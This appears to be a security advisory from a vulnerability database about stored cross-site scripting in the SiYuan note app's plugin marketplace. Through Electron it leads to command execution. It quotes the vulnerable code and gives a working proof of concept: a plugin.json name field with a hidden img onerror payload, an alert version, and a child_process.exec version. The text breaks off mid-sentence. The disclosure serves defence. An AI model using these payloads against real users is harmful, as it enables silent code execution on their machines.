Server side cross-site scripting In github.com/siyuan-note/siyuan/kernel

Description

SiYuan Bazaar marketplace renders unescaped package name and version metadata, allowing stored XSS and Electron code execution ### Summary SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and DescriptionName and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required. A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink. ### Details Server-side allowlist — kernel/bazaar/package.go:134-145: go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } // pkg.Name and pkg.Version are NOT escaped } PreferredName fallback — kernel/bazaar/installed.go:59 and kernel/bazaar/package.go:148-162: go // installed.go:59 pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name) // package.go:148-162 func GetPreferredLocaleString(m LocaleStrings, fallback string) string { if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer if v := strings.TrimSpace(m[util.Lang]); v != "" { return v } if v := strings.TrimSpace(m["default"]); v != "" { return v } if v := strings.TrimSpace(m["en_US"]); v != "" { return v } return fallback } Online marketplace path skips the kernel sanitizer — kernel/bazaar/package.go:127 + kernel/bazaar/bazaar.go:48: go // package.go:127 (only the local install path calls sanitizePackageDisplayStrings) sanitizePackageDisplayStrings(ret) buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow. The upstream workflow has the same gap — siyuan-note/bazaar/actions/stage/main.go:897-909: go // sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。 // (跟思源内核 kernel/bazaar/package.go 保持一致) func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } The function is byte-identical to the kernel helper — the Chinese comment translates to "(kept in sync with the SiYuan kernel kernel/bazaar/package.go)". It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing. Frontend sinks — app/src/config/bazaar.ts: ts // :430 — installed-plugin card list (zero-click) ${item.preferredName} // :526 — package detail view <a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a> // :540 — package detail view, version stripe <div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div> The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600). Renderer privilege boundary — app/electron/main.js:407-411: js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution. ### PoC End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload. 1. Run a stock SiYuan v3.6.5 kernel: sh mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin docker run -d --name siyuan-poc -p 16806:6806 \ -v /tmp/siyuan-poc-ws:/siyuan/workspace \ -e SIYUAN_ACCESS_AUTH_CODE=test123 \ b3log/siyuan:v3.6.5 \ --workspace=/siyuan/workspace --accessAuthCode=test123 2. Plant a malicious plugin manifest at /tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json: json { "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "displayName": {}, "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."}, "author": "markdown-utils", "version": "1.4.2", "url": "https://github.com/markdown-utils/markdown-utilities", "backends": ["all"], "frontends": ["all"] } The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text. 3. Verify the kernel returns the unescaped payload: Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user: sh curl -s -b 'siyuan=<session-cookie>' \ -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \ -H 'Content-Type: application/json' \ -d '{"frontend":"desktop","keyword":""}' Observed (verbatim): json { "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "version": "1.4.2" } The HTML payload arrives at the client unmodified. 4. Trigger via the UI: In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and alert("SiYuan Bazaar XSS") pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible. 5. Electron RCE substitution: The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call: json "name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">" On any Electron-packaged SiYuan v3.6.5 (e.g. siyuan-3.6.5-mac-arm64.dmg), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user. ### Impact - Stored XSS → arbitrary OS command execution in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs. - Triggers on view, not on install. Opening Settings → Marketplace → Downloaded →

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
FLAT-SPKQS – Vulnerability | Fluid Attacks Database